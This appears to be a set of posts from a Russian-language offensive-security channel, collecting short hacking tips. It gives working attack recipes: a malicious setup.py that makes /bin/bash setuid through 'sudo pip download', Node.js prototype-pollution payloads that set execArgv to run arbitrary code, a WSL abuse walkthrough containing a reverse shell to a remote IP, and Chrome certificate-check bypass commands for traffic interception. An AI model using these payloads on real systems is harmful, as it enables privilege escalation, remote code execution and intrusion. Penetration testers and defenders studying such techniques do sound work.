Monkey Hacker

⚠️ Фиксим NET::ERR_CERTIFICATE_TRANSPARENCY_REQUIRED в Chrome на Android🤖 при работе с Burp🟠. Мне потребовалось поковырять приложение для Android🤖. Я настроил эмулятор для проксирования трафика в Burp. Вот отличный мануал. Однако Chrome по-прежнему выдавал ошибку о незащищенном соединении. Это связано с тем, что все версии Chrome 99+ получили CT (Certificate Transparency). Подробнее можно узнать тут Чтобы запустить Chrome с флагом --ignore-certificate-errors-spki-list=ТУТ-ХЭШ-НАШЕГО-СЕРТА, нужно выполнить следующие действия. решение взята от сюда. #$YOUR_CA_CERTIFICATE твой сертификат от BurpSuite Certificate. #получаем его хэш openssl x509 -in $YOUR_CA_CERTIFICATE -pubkey -noout | openssl pkey -pubin -outform der | openssl dgst -sha256 -binary | openssl enc -base64 #создаём файл с ванлайнером echo "chrome --ignore-certificate-errors-spki-list=$YOUR_SPKI_FINGERPRINT" > burp-chrome-android

Privilege Escalation via pip Всеми наш любимый pip позволяет автоматически запускать код, когда разработчики просто загружают пакет. Таким образом мы можем скачать пакет и использовать эту возможность для повышения привилегий После того, как мы сделали sudo -l. Мы видим, что pip download или pip setup можно запустить от sudo, так что давайте этим воспользуемся. Сначала скопируем нужный нам репозиторий Затем давайте сделаем некоторые изменения в файле setup.py. Импортируем os для запуска наших команд и в функции RunCommand поместим os.system("chmod u+s /bin/bash"). Собираем python3 -m build И скачиваем наш пакет sudo pip3 download http://localhost/your-file.tar.gz И теперь запустим шелл bash -p Have fun 👍 P.S Полный код в комментариях THX: https://medium.com/checkmarx-security/automatic-execution-of-code-upon-package-download-on-python-package-manager-cd6ed9e366a8

Prototype Pollution + child_process.fork() = RCE Помимо моего пепла, который остался с ресерча винды, я прочитал про интерсные свойства у child_process.fork() в Node.js child_process.fork() - предоставляет возможность создавать подпроцессы с помощью child_process.spawn(). Метод fork() принимает объект с именем options, в котором одним из потенциальных параметров является свойство execArgv. Это массив строк, содержащих аргументы командной строки, которые должны быть использованы при порождении дочернего процесса. Т.е конструктор выглядит следующим образом this.execArgv = options.execArgv; Это позволяет нам напрямую управлять аргументами командной строки, и дает нам возможности для RCE. Особый интерес представляет аргумент --eval, который позволяет передавать произвольный JavaScript, а он уже будет выполняться дочерним процессом. Т.е мы можем загружать свои собственные модули. "execArgv": [ "--eval=require('<moduele_name>')" ] А значит потенциальный пейлоад будет выглядеть так cat.__proto__.execArgv = ["-c", "touch /tmp/biba"] Или в виде JSON "__proto__": { "execArgv":[ "--eval=require('child_process').execSync('touch /tmp/biba')" ] }

Там @dnevnik_infosec сегодня запостил много материала по PE в Windows, чекаем

Abuse WSL #RU Windows Subsystem for Linux (WSL) - по факту данная функция в Windows, дает доступ к компактной версии файловой системе Linux, т.е мы можем выполнять практически любые команды Linux в Windows. И естественно благодаря данной функции мы можем выполнить различные хитрости, которые нам недоступны как обычному пользователю, но можем выполнить в пределах нашего шелла. Нужны самые стандартные права пользователя, но важно, чтобы мы смогли выполнить wsl --install для включения данного функционала. Потом убеждаемся, что данный функционал действительно работает и смотрим, доступен ли нам какой-либо дистрибутив Linux (по стандарту там будет Ubuntu) #EN Windows Subsystem for Linux (WSL) - in fact this function in Windows, gives us access to a compact version of the Linux file system, i.e. we can execute almost any Linux command in Windows. And of course with this feature we can do all sorts of tricks which we can't do as a normal user but we can do within our shell. We need the most standard user rights, but it is important that we can run wsl --install to enable this feature. Then we make sure that this feature really works and check if any Linux distro is available for us (by default this would be Ubuntu) wsl --list --running #RU Если все ок, то проверьте, что у вас есть еще доступ к bash оболочке (bash.exe). Обычно он имеет путь следующий: C:\Windows\system32\bash.exe #EN If everything is ok, check that you have access to the bash shell (bash.exe). It usually has the path as follows: C:\Windows\system32\bash.exe Начинаем с базового | Starting with basic wsl.exe "whoami" OR bash.exe -c "whoami" Если ответ видим root, то можно попробовать rev-shell | If the answer is root, you can try rev-shell bash.exe -c "bash -i >& /dev/tcp/10.10.10.128/5555 0>&1" #RU P.S если что то это не тот же самый root, который есть в виндовой тачке, однако мы можем выполнять теперь те действия, которые изначально нам не были доступны #EN P.S it is not the same as root, which is in the wind machine, but we can now do things that were not originally available to us #RU Мы можем выполнять/модифицировать различные бинари на основной машине #EN We can run/modify different binary on the main machine wsl.exe -e /mnt/c/Windows/System32/NeTrojan.exe Have fun 👀